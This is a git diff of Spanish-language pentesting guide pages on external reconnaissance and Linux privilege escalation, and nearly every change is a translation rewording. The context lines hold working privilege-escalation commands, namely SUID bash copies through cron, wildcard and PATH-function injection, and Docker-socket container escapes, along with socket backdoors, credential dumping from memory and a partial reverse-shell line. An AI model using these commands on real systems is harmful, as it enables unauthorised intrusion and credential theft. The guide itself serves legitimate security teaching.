```
- [**altdns**](https://github.com/infosec-au/altdns): Aparte de generar permutaciones de subdominios, también puede intentar resolverlos (pero es mejor usar las herramientas comentadas anteriormente).
-- Puedes obtener permutaciones de altdns **wordlist** en [**aquí**](https://github.com/infosec-au/altdns/blob/master/words.txt).
+- Puedes obtener la **wordlist** de permutaciones de altdns **aquí** en [**here**](https://github.com/infosec-au/altdns/blob/master/words.txt).
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
@@ -392,13 +389,13 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
#### Generación de permutaciones inteligentes
-- [**regulator**](https://github.com/cramppet/regulator): Para más información, lee este [**post**](https://cramppet.github.io/regulator/index.html), pero básicamente obtendrá las **partes principales** de los **subdominios descubiertos** y las mezclará para encontrar más subdominios.
+- [**regulator**](https://github.com/cramppet/regulator): Para más información, lee este [**post**](https://cramppet.github.io/regulator/index.html), pero básicamente tomará las **partes principales** de los **subdominios descubiertos** y las mezclará para encontrar más subdominios.
```bash
python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
-- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ es un fuzzer de fuerza bruta para subdominios acoplado con un algoritmo guiado por respuestas DNS inmensamente simple pero efectivo. Utiliza un conjunto de datos de entrada proporcionado, como una lista de palabras personalizada o registros DNS/TLS históricos, para sintetizar con precisión más nombres de dominio correspondientes y expandirlos aún más en un bucle basado en la información recopilada durante el escaneo DNS.
+- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ es un fuzzer de fuerza bruta para subdominios acoplado con un algoritmo guiado por respuestas DNS que es inmensamente simple pero efectivo. Utiliza un conjunto de datos de entrada proporcionado, como una lista de palabras personalizada o registros DNS/TLS históricos, para sintetizar con precisión más nombres de dominio correspondientes y expandirlos aún más en un bucle basado en la información recopilada durante el escaneo DNS.
```
echo www | subzuf facebook.com
```
@@ -406,9 +403,13 @@ echo www | subzuf facebook.com
Revisa esta publicación de blog que escribí sobre cómo **automatizar el descubrimiento de subdominios** de un dominio utilizando **Trickest workflows** para no tener que lanzar manualmente un montón de herramientas en mi computadora:
-{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
+{{#ref}}
+https://trickest.com/blog/full-subdomain-discovery-using-workflow/
+{{#endref}}
-{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %}
+{{#ref}}
+https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
+{{#endref}}
### **VHosts / Hosts Virtuales**
@@ -454,7 +455,7 @@ Puedes **monitorear** si se crean **nuevos subdominios** de un dominio monitorea
### **Buscando vulnerabilidades**
-Verifica posibles [**tomas de control de subdominios**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
+Verifica posibles [**tomas de subdominio**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Si el **subdominio** está apuntando a algún **bucket S3**, [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/).
Si encuentras algún **subdominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén en ejecución, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
@@ -479,7 +480,7 @@ También puedes verificar dominios que apuntan a una dirección IP específica u
## Caza de servidores web
-> Hemos encontrado todas las empresas y sus activos y conocemos los rangos de IP, dominios y subdominios dentro del alcance. Es hora de buscar servidores web.
+> Hemos encontrado todas las empresas y sus activos y conocemos rangos de IP, dominios y subdominios dentro del alcance. Es hora de buscar servidores web.
En los pasos anteriores probablemente ya hayas realizado algún **reconocimiento de las IPs y dominios descubiertos**, así que puede que ya hayas **encontrado todos los posibles servidores web**. Sin embargo, si no lo has hecho, ahora vamos a ver algunos **trucos rápidos para buscar servidores web** dentro del alcance.
@@ -501,7 +502,7 @@ Además, podrías usar [**eyeballer**](https://github.com/BishopFox/eyeballer) p
## Activos de Nube Pública
-Para encontrar activos en la nube potenciales pertenecientes a una empresa, debes **comenzar con una lista de palabras clave que identifiquen a esa empresa**. Por ejemplo, para una empresa de criptomonedas podrías usar palabras como: `"crypto", "wallet", "dao", "", <"subdomain_names">`.
+Para encontrar activos potenciales en la nube que pertenezcan a una empresa, debes **comenzar con una lista de palabras clave que identifiquen a esa empresa**. Por ejemplo, para una empresa de criptomonedas podrías usar palabras como: `"crypto", "wallet", "dao", "", <"subdomain_names">`.
También necesitarás listas de palabras de **palabras comunes utilizadas en buckets**:
@@ -517,7 +518,7 @@ Recuerda que al buscar Activos en la Nube debes **buscar más que solo buckets e
### **Buscando vulnerabilidades**
-Si encuentras cosas como **buckets abiertos o funciones de nube expuestas** deberías **acceder a ellas** y tratar de ver qué te ofrecen y si puedes abusar de ellas.
+Si encuentras cosas como **buckets abiertos o funciones de nube expuestas** debes **acceder a ellas** y tratar de ver qué te ofrecen y si puedes abusar de ellas.
## Correos Electrónicos
@@ -530,7 +531,7 @@ Con los **dominios** y **subdominios** dentro del alcance, básicamente tienes t
### **Buscando vulnerabilidades**
-Los correos electrónicos serán útiles más adelante para **fuerza bruta en inicios de sesión web y servicios de autenticación** (como SSH). Además, son necesarios para **phishings**. Además, estas APIs te darán aún más **información sobre la persona** detrás del correo electrónico, lo cual es útil para la campaña de phishing.
+Los correos electrónicos serán útiles más tarde para **fuerza bruta en inicios de sesión web y servicios de autenticación** (como SSH). Además, son necesarios para **phishings**. Además, estas APIs te darán aún más **información sobre la persona** detrás del correo electrónico, lo cual es útil para la campaña de phishing.
## Filtraciones de Credenciales
@@ -575,13 +576,13 @@ _Nota que las herramientas que esperan ejecutar toda la base de datos usando el
### **Buscando vulnerabilidades**
-Si encuentras credenciales o tokens de API **filtrados válidos**, esto es una victoria muy fácil.
+Si encuentras credenciales o tokens de API **filtrados válidos**, esta es una victoria muy fácil.
## Vulnerabilidades de Código Público
Si encontraste que la empresa tiene **código de código abierto** puedes **analizarlo** y buscar **vulnerabilidades** en él.
-**Dependiendo del lenguaje** hay diferentes **herramientas** que puedes usar:
+**Dependiendo del lenguaje**, hay diferentes **herramientas** que puedes usar:
{{#ref}}
../../network-services-pentesting/pentesting-web/code-review-tools.md
@@ -610,7 +611,7 @@ Así que ya has:
5. Encontrado todas las **IPs** (de y **no de CDNs**) dentro del alcance.
6. Encontrado todos los **servidores web** y tomado una **captura de pantalla** de ellos (¿algo extraño que valga la pena un examen más profundo?)
7. Encontrado todos los **activos potenciales de nube pública** pertenecientes a la empresa.
-8. **Correos electrónicos**, **filtraciones de credenciales**, y **filtraciones de secretos** que podrían darte una **gran victoria muy fácilmente**.
+8. **Correos electrónicos**, **filtraciones de credenciales** y **filtraciones de secretos** que podrían darte una **gran victoria muy fácilmente**.
9. **Pentesting todas las webs que encontraste**
## **Herramientas Automáticas de Reconocimiento Completo**
diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md
index e55c931c3..9d82ca66b 100644
--- a/src/linux-hardening/privilege-escalation/README.md
+++ b/src/linux-hardening/privilege-escalation/README.md
@@ -6,7 +6,7 @@
### Información del SO
-Comencemos a obtener información sobre el SO en ejecución
+Comencemos a obtener información sobre el SO en ejecución.
```bash
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
@@ -162,13 +162,13 @@ Si tienes acceso SSH a la máquina, también podrías usar **openVAS** para veri
## Procesos
-Echa un vistazo a **qué procesos** se están ejecutando y verifica si algún proceso tiene **más privilegios de los que debería** (¿quizás un tomcat ejecutado por root?)
+Echa un vistazo a **qué procesos** se están ejecutando y verifica si algún proceso tiene **más privilegios de los que debería** (¿quizás un tomcat ejecutándose como root?)
```bash
ps aux
ps -ef
top -n 1
```
-Siempre verifica si hay posibles [**electron/cef/chromium debuggers**] corriendo, podrías abusar de ello para escalar privilegios](electron-cef-chromium-debugger-abuse.md). **Linpeas** los detecta revisando el parámetro `--inspect` dentro de la línea de comandos del proceso.\
+Siempre verifica si hay posibles [**electron/cef/chromium debuggers**] corriendo, podrías abusar de ello para escalar privilegios. **Linpeas** los detecta revisando el parámetro `--inspect` dentro de la línea de comandos del proceso.\
También **verifica tus privilegios sobre los binarios de los procesos**, tal vez puedas sobrescribir a alguien.
### Monitoreo de procesos
@@ -215,7 +215,7 @@ done
```
#### /proc/$pid/maps & /proc/$pid/mem
-Para un ID de proceso dado, **maps muestra cómo se mapea la memoria dentro del espacio de direcciones virtuales de ese proceso**; también muestra los **permisos de cada región mapeada**. El **archivo pseudo mem expone la memoria de los procesos**. A partir del archivo **maps** sabemos qué **regiones de memoria son legibles** y sus desplazamientos. Usamos esta información para **buscar en el archivo mem y volcar todas las regiones legibles** a un archivo.
+Para un ID de proceso dado, **maps muestra cómo se mapea la memoria dentro del espacio de direcciones virtuales de ese proceso**; también muestra los **permisos de cada región mapeada**. El **archivo pseudo mem expone la memoria de los procesos**. A partir del archivo **maps sabemos qué regiones de memoria son legibles** y sus desplazamientos. Usamos esta información para **buscar en el archivo mem y volcar todas las regiones legibles** a un archivo.
```bash
procdump()
(
@@ -276,7 +276,7 @@ Para volcar la memoria de un proceso, podrías usar:
#### Ejemplo manual
-Si encuentras que el proceso de autenticación está en ejecución:
+Si encuentras que el proceso del autenticador está en ejecución:
```bash
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
@@ -291,13 +291,13 @@ strings *.dump | grep -i password
La herramienta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **robará credenciales en texto claro de la memoria** y de algunos **archivos bien conocidos**. Requiere privilegios de root para funcionar correctamente.
| Característica | Nombre del Proceso |
-| -------------------------------------------------- | -------------------- |
-| Contraseña de GDM (Kali Desktop, Debian Desktop) | gdm-password |
-| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
-| LightDM (Ubuntu Desktop) | lightdm |
-| VSFTPd (Conexiones FTP Activas) | vsftpd |
-| Apache2 (Sesiones HTTP Basic Auth Activas) | apache2 |
-| OpenSSH (Sesiones SSH Activas - Uso de Sudo) | sshd: |
+| ------------------------------------------------- | -------------------- |
+| Contraseña de GDM (Kali Desktop, Debian Desktop) | gdm-password |
+| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
+| LightDM (Ubuntu Desktop) | lightdm |
+| VSFTPd (Conexiones FTP Activas) | vsftpd |
+| Apache2 (Sesiones Activas de Autenticación HTTP Básica) | apache2 |
+| OpenSSH (Sesiones SSH Activas - Uso de Sudo) | sshd: |
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
```bash
@@ -315,7 +315,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
```
## Trabajos programados/Cron
-Verifica si algún trabajo programado es vulnerable. Tal vez puedas aprovechar un script que está siendo ejecutado por root (¿vulnerabilidad de comodín? ¿puede modificar archivos que usa root? ¿usar enlaces simbólicos? ¿crear archivos específicos en el directorio que usa root?).
+Verifica si algún trabajo programado es vulnerable. Tal vez puedas aprovechar un script que se ejecute como root (¿vulnerabilidad de comodín? ¿puede modificar archivos que usa root? ¿usar enlaces simbólicos? ¿crear archivos específicos en el directorio que usa root?).
```bash
crontab -l
ls -al /etc/cron* /etc/at*
@@ -334,13 +334,13 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
```
-### Cron usando un script con un comodín (Inyección de comodín)
+### Cron usando un script con un comodín (Inyección de Comodín)
Si un script ejecutado por root tiene un “**\***” dentro de un comando, podrías explotar esto para hacer cosas inesperadas (como privesc). Ejemplo:
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
-**Si el comodín está precedido por una ruta como** _**/some/path/\***_ **, no es vulnerable (incluso** _**./\***_ **no lo es).**
+**Si el comodín está precedido de una ruta como** _**/some/path/\***_ **, no es vulnerable (incluso** _**./\***_ **no lo es).**
Lee la siguiente página para más trucos de explotación de comodines:
@@ -356,7 +356,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >
#Wait until it is executed
/tmp/bash -p
```
-Si el script ejecutado por root utiliza un **directorio donde tienes acceso total**, tal vez podría ser útil eliminar esa carpeta y **crear un enlace simbólico a otra** que sirva un script controlado por ti.
+Si el script ejecutado por root utiliza un **directorio donde tienes acceso total**, podría ser útil eliminar esa carpeta y **crear un enlace simbólico a otra** que sirva un script controlado por ti.
```bash
ln -d -s
```
@@ -368,7 +368,7 @@ Por ejemplo, para **monitorear cada 0.1s durante 1 minuto**, **ordenar por los c
```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
```
-**También puedes usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (esto monitoreará y listará cada proceso que inicie).
+**También puedes usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (esto monitoreará y listará cada proceso que se inicie).
### Trabajos cron invisibles
@@ -399,7 +399,7 @@ ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
```
-Luego, crea un **ejecutable** con el **mismo nombre que la ruta relativa del binario** dentro de la carpeta PATH de systemd en la que puedes escribir, y cuando se le pida al servicio que ejecute la acción vulnerable (**Iniciar**, **Detener**, **Recargar**), tu **puerta trasera se ejecutará** (los usuarios sin privilegios generalmente no pueden iniciar/detener servicios, pero verifica si puedes usar `sudo -l`).
+Luego, crea un **ejecutable** con el **mismo nombre que el binario de la ruta relativa** dentro de la carpeta PATH de systemd en la que puedes escribir, y cuando se le pida al servicio que ejecute la acción vulnerable (**Iniciar**, **Detener**, **Recargar**), tu **puerta trasera se ejecutará** (los usuarios sin privilegios generalmente no pueden iniciar/detener servicios, pero verifica si puedes usar `sudo -l`).
**Aprende más sobre los servicios con `man systemd.service`.**
@@ -445,16 +445,16 @@ Los sockets se pueden configurar utilizando archivos `.socket`.
**Aprende más sobre sockets con `man systemd.socket`.** Dentro de este archivo, se pueden configurar varios parámetros interesantes:
-- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Estas opciones son diferentes, pero se utiliza un resumen para **indicar dónde va a escuchar** el socket (la ruta del archivo de socket AF_UNIX, la IPv4/6 y/o el número de puerto a escuchar, etc.)
-- `Accept`: Toma un argumento booleano. Si es **true**, se **crea una instancia de servicio para cada conexión entrante** y solo se pasa el socket de conexión a ella. Si es **false**, todos los sockets de escucha se **pasan a la unidad de servicio iniciada**, y solo se crea una unidad de servicio para todas las conexiones. Este valor se ignora para sockets de datagramas y FIFOs donde una sola unidad de servicio maneja incondicionalmente todo el tráfico entrante. **Por defecto es false**. Por razones de rendimiento, se recomienda escribir nuevos demonios solo de una manera que sea adecuada para `Accept=no`.
+- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Estas opciones son diferentes, pero se utiliza un resumen para **indicar dónde va a escuchar** el socket (la ruta del archivo de socket AF_UNIX, la dirección IPv4/6 y/o el número de puerto a escuchar, etc.)
+- `Accept`: Toma un argumento booleano. Si es **true**, se **crea una instancia de servicio para cada conexión entrante** y solo se le pasa el socket de conexión. Si es **false**, todos los sockets de escucha se **pasan a la unidad de servicio iniciada**, y solo se crea una unidad de servicio para todas las conexiones. Este valor se ignora para sockets de datagramas y FIFOs donde una sola unidad de servicio maneja incondicionalmente todo el tráfico entrante. **Por defecto es false**. Por razones de rendimiento, se recomienda escribir nuevos demonios solo de una manera que sea adecuada para `Accept=no`.
- `ExecStartPre`, `ExecStartPost`: Toma una o más líneas de comando, que se **ejecutan antes** o **después** de que los **sockets**/FIFOs de escucha sean **creados** y vinculados, respectivamente. El primer token de la línea de comando debe ser un nombre de archivo absoluto, seguido de argumentos para el proceso.
- `ExecStopPre`, `ExecStopPost`: Comandos adicionales que se **ejecutan antes** o **después** de que los **sockets**/FIFOs de escucha sean **cerrados** y eliminados, respectivamente.
- `Service`: Especifica el nombre de la unidad de **servicio** **a activar** en el **tráfico entrante**. Esta configuración solo se permite para sockets con Accept=no. Por defecto, se utiliza el servicio que lleva el mismo nombre que el socket (con el sufijo reemplazado). En la mayoría de los casos, no debería ser necesario usar esta opción.
### Archivos .socket escribibles
-Si encuentras un archivo `.socket` **escribible**, puedes **agregar** al principio de la sección `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` y el backdoor se ejecutará antes de que se cree el socket. Por lo tanto, **probablemente necesitarás esperar hasta que la máquina se reinicie.**\
-&#xNAN;_Note que el sistema debe estar utilizando esa configuración de archivo de socket o el backdoor no se ejecutará_
+Si encuentras un archivo `.socket` **escribible**, puedes **agregar** al principio de la sección `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` y la puerta trasera se ejecutará antes de que se cree el socket. Por lo tanto, **probablemente necesitarás esperar hasta que la máquina se reinicie.**\
+&#xNAN;_Note que el sistema debe estar utilizando esa configuración de archivo de socket o la puerta trasera no se ejecutará_
### Sockets escribibles
@@ -485,7 +485,7 @@ Ten en cuenta que puede haber algunos **sockets escuchando solicitudes HTTP** (_
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
-Si el socket **responde con una solicitud HTTP**, entonces puedes **comunicarte** con él y tal vez **explotar alguna vulnerabilidad**.
+Si el socket **responde con una** solicitud HTTP, entonces puedes **comunicarte** con él y tal vez **explotar alguna vulnerabilidad**.
### Socket de Docker Escribible
@@ -510,7 +510,7 @@ En casos donde el CLI de Docker no está disponible, el socket de Docker aún pu
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
```
-2. **Crear un Contenedor:** Envía una solicitud para crear un contenedor que monta el directorio raíz del sistema host.
+2. **Crear un Contenedor:** Envía una solicitud para crear un contenedor que monte el directorio raíz del sistema host.
```bash
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
@@ -564,11 +564,11 @@ runc-privilege-escalation.md
D-Bus es un sofisticado **sistema de Comunicación entre Procesos (IPC)** que permite a las aplicaciones interactuar y compartir datos de manera eficiente. Diseñado con el sistema Linux moderno en mente, ofrece un marco robusto para diferentes formas de comunicación entre aplicaciones.
-El sistema es versátil, soportando IPC básico que mejora el intercambio de datos entre procesos, reminiscentes de **sockets de dominio UNIX mejorados**. Además, ayuda en la transmisión de eventos o señales, fomentando una integración fluida entre los componentes del sistema. Por ejemplo, una señal de un demonio Bluetooth sobre una llamada entrante puede hacer que un reproductor de música se silencie, mejorando la experiencia del usuario. Además, D-Bus soporta un sistema de objetos remotos, simplificando las solicitudes de servicio y las invocaciones de métodos entre aplicaciones, agilizando procesos que tradicionalmente eran complejos.
+El sistema es versátil, soportando IPC básico que mejora el intercambio de datos entre procesos, reminiscentes de **sockets de dominio UNIX mejorados**. Además, ayuda en la transmisión de eventos o señales, fomentando una integración fluida entre los componentes del sistema. Por ejemplo, una señal de un demonio Bluetooth sobre una llamada entrante puede hacer que un reproductor de música se silencie, mejorando la experiencia del usuario. Adicionalmente, D-Bus soporta un sistema de objetos remotos, simplificando las solicitudes de servicio y las invocaciones de métodos entre aplicaciones, agilizando procesos que tradicionalmente eran complejos.
-D-Bus opera bajo un **modelo de permitir/denegar**, gestionando los permisos de mensajes (llamadas a métodos, emisiones de señales, etc.) basados en el efecto acumulativo de las reglas de política que coinciden. Estas políticas especifican interacciones con el bus, permitiendo potencialmente la escalación de privilegios a través de la explotación de estos permisos.
+D-Bus opera bajo un **modelo de permitir/negar**, gestionando los permisos de mensajes (llamadas a métodos, emisiones de señales, etc.) basados en el efecto acumulativo de las reglas de política que coinciden. Estas políticas especifican interacciones con el bus, permitiendo potencialmente la escalación de privilegios a través de la explotación de estos permisos.
-Se proporciona un ejemplo de tal política en `/etc/dbus-1/system.d/wpa_supplicant.conf`, detallando los permisos para que el usuario root posea, envíe y reciba mensajes de `fi.w1.wpa_supplicant1`.
+Un ejemplo de tal política en `/etc/dbus-1/system.d/wpa_supplicant.conf` se proporciona, detallando los permisos para que el usuario root posea, envíe y reciba mensajes de `fi.w1.wpa_supplicant1`.
Las políticas sin un usuario o grupo especificado se aplican de manera universal, mientras que las políticas de contexto "predeterminadas" se aplican a todos los que no están cubiertos por otras políticas específicas.
```xml
@@ -621,7 +621,7 @@ Siempre verifica los servicios de red que se están ejecutando en la máquina co
```
### Sniffing
-Verifica si puedes interceptar tráfico. Si puedes, podrías ser capaz de obtener algunas credenciales.
+Verifica si puedes esnifar tráfico. Si puedes, podrías ser capaz de capturar algunas credenciales.
```
timeout 1 tcpdump
```
@@ -653,7 +653,7 @@ gpg --list-keys 2>/dev/null
```
### Big UID
-Algunas versiones de Linux fueron afectadas por un error que permite a los usuarios con **UID > INT_MAX** escalar privilegios. Más información: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) y [here](https://twitter.com/paragonsec/status/1071152249529884674).\
+Algunas versiones de Linux se vieron afectadas por un error que permite a los usuarios con **UID > INT_MAX** escalar privilegios. Más información: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) y [here](https://twitter.com/paragonsec/status/1071152249529884674).\
**Explotarlo** usando: **`systemd-run -t /bin/bash`**
### Groups
@@ -769,20 +769,20 @@ Esta técnica también se puede utilizar si un **suid** binario **ejecuta otro c
### Binario SUID con ruta de comando
-Si el **suid** binario **ejecuta otro comando especificando la ruta**, entonces, puedes intentar **exportar una función** llamada como el comando que el archivo suid está llamando.
+Si el **suid** binario **ejecuta otro comando especificando la ruta**, entonces, puedes intentar **exportar una función** con el mismo nombre que el comando que el archivo suid está llamando.
Por ejemplo, si un binario suid llama a _**/usr/sbin/service apache2 start**_ tienes que intentar crear la función y exportarla:
```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
```
-Entonces, cuando llamas al binario suid, esta función se ejecutará
+Entonces, cuando llamas al binario suid, esta función será ejecutada
### LD_PRELOAD & **LD_LIBRARY_PATH**
La variable de entorno **LD_PRELOAD** se utiliza para especificar una o más bibliotecas compartidas (.so files) que deben ser cargadas por el cargador antes que todas las demás, incluida la biblioteca estándar de C (`libc.so`). Este proceso se conoce como precarga de una biblioteca.
-Sin embargo, para mantener la seguridad del sistema y prevenir que esta función sea explotada, particularmente con ejecutables **suid/sgid**, el sistema impone ciertas condiciones:
+Sin embargo, para mantener la seguridad del sistema y prevenir que esta característica sea explotada, particularmente con ejecutables **suid/sgid**, el sistema impone ciertas condiciones:
- El cargador ignora **LD_PRELOAD** para ejecutables donde el ID de usuario real (_ruid_) no coincide con el ID de usuario efectivo (_euid_).
- Para ejecutables con suid/sgid, solo se precargan bibliotecas en rutas estándar que también son suid/sgid.
@@ -892,7 +892,7 @@ eso significa que la biblioteca que has generado necesita tener una función lla
### GTFOBins
-[**GTFOBins**](https://gtfobins.github.io) es una lista curada de binarios de Unix que pueden ser explotados por un atacante para eludir restricciones de seguridad locales. [**GTFOArgs**](https://gtfoargs.github.io/) es lo mismo pero para casos donde solo puedes **inyectar argumentos** en un comando.
+[**GTFOBins**](https://gtfobins.github.io) es una lista curada de binarios de Unix que pueden ser explotados por un atacante para eludir las restricciones de seguridad locales. [**GTFOArgs**](https://gtfoargs.github.io/) es lo mismo pero para casos donde solo puedes **inyectar argumentos** en un comando.
El proyecto recopila funciones legítimas de binarios de Unix que pueden ser abusadas para salir de shells restringidos, escalar o mantener privilegios elevados, transferir archivos, generar shells bind y reverse, y facilitar otras tareas de post-explotación.
@@ -901,9 +901,13 @@ El proyecto recopila funciones legítimas de binarios de Unix que pueden ser abu
> strace -o /dev/null /bin/sh\
> sudo awk 'BEGIN {system("/bin/sh")}'
-{% embed url="https://gtfobins.github.io/" %}
+{{#ref}}
+https://gtfobins.github.io/
+{{#endref}}
-{% embed url="https://gtfoargs.github.io/" %}
+{{#ref}}
+https://gtfoargs.github.io/
+{{#endref}}
### FallOfSudo
@@ -940,7 +944,7 @@ bash exploit_v2.sh
bash exploit_v3.sh
sudo su
```
-### /var/run/sudo/ts/\
+### /var/run/sudo/ts/\
Si tienes **permisos de escritura** en la carpeta o en cualquiera de los archivos creados dentro de la carpeta, puedes usar el binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **crear un token de sudo para un usuario y PID**.\
Por ejemplo, si puedes sobrescribir el archivo _/var/run/sudo/ts/sampleuser_ y tienes una shell como ese usuario con PID 1234, puedes **obtener privilegios de sudo** sin necesidad de conocer la contraseña haciendo:
@@ -1091,11 +1095,11 @@ screen -dr #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]
```
-## secuestro de sesiones tmux
+## secuestro de sesiones de tmux
Este era un problema con **versiones antiguas de tmux**. No pude secuestrar una sesión de tmux (v2.1) creada por root como un usuario no privilegiado.
-**Listar sesiones tmux**
+**Listar sesiones de tmux**
```bash
tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
@@ -1134,7 +1138,7 @@ Especifica si el root puede iniciar sesión usando ssh, el valor predeterminado
- `yes`: el root puede iniciar sesión usando contraseña y clave privada
- `without-password` o `prohibit-password`: el root solo puede iniciar sesión con una clave privada
-- `forced-commands-only`: el root puede iniciar sesión solo usando clave privada y si se especifican las opciones de comandos
+- `forced-commands-only`: el root solo puede iniciar sesión usando clave privada y si se especifican las opciones de comandos
- `no`: no
### AuthorizedKeysFile
@@ -1147,7 +1151,7 @@ Esa configuración indicará que si intentas iniciar sesión con la **clave priv
### ForwardAgent/AllowAgentForwarding
-El reenvío del agente SSH te permite **usar tus claves SSH locales en lugar de dejar claves** (¡sin frases de contraseña!) en tu servidor. Así, podrás **saltar** a través de ssh **a un host** y desde allí **saltar a otro** host **usando** la **clave** ubicada en tu **host inicial**.
+El reenvío del agente SSH te permite **usar tus claves SSH locales en lugar de dejar claves** (¡sin frases de contraseña!) en tu servidor. Así, podrás **saltar** vía ssh **a un host** y desde allí **saltar a otro** host **usando** la **clave** ubicada en tu **host inicial**.
Necesitas establecer esta opción en `$HOME/.ssh.config` así:
```
@@ -1156,7 +1160,7 @@ ForwardAgent yes
```
Nota que si `Host` es `*`, cada vez que el usuario salta a una máquina diferente, ese host podrá acceder a las claves (lo cual es un problema de seguridad).
-El archivo `/etc/ssh_config` puede **sobrescribir** estas **opciones** y permitir o denegar esta configuración.\
+El archivo `/etc/ssh_config` puede **anular** estas **opciones** y permitir o denegar esta configuración.\
El archivo `/etc/sshd_config` puede **permitir** o **denegar** el reenvío de ssh-agent con la palabra clave `AllowAgentForwarding` (el valor predeterminado es permitir).
Si encuentras que el Forward Agent está configurado en un entorno, lee la siguiente página ya que **puedes abusar de ello para escalar privilegios**:
@@ -1308,8 +1312,8 @@ Para **leer los registros, el grupo** [**adm**](interesting-groups-linux-pe/#adm
```
### Búsqueda de Credenciales Genéricas/Regex
-También deberías buscar archivos que contengan la palabra "**password**" en su **nombre** o dentro del **contenido**, y también verificar IPs y correos electrónicos dentro de los logs, o expresiones regulares de hashes.\
-No voy a listar aquí cómo hacer todo esto, pero si estás interesado, puedes revisar los últimos chequeos que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza.
+También debes buscar archivos que contengan la palabra "**password**" en su **nombre** o dentro del **contenido**, y también verificar IPs y correos electrónicos dentro de los registros, o expresiones regulares de hashes.\
+No voy a enumerar aquí cómo hacer todo esto, pero si estás interesado, puedes revisar los últimos chequeos que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza.
## Archivos Escribibles
@@ -1326,7 +1330,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
Una vulnerabilidad en `logrotate` permite a los usuarios con **permisos de escritura** en un archivo de registro o sus directorios padre potencialmente obtener privilegios elevados. Esto se debe a que `logrotate`, que a menudo se ejecuta como **root**, puede ser manipulado para ejecutar archivos arbitrarios, especialmente en directorios como _**/etc/bash_completion.d/**_. Es importante verificar los permisos no solo en _/var/log_ sino también en cualquier directorio donde se aplique la rotación de registros.
> [!NOTE]
-> Esta vulnerabilidad afecta a `logrotate` versión `3.18.0` y anteriores.
+> Esta vulnerabilidad afecta a la versión `3.18.0` de `logrotate` y versiones anteriores.
Más información detallada sobre la vulnerabilidad se puede encontrar en esta página: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
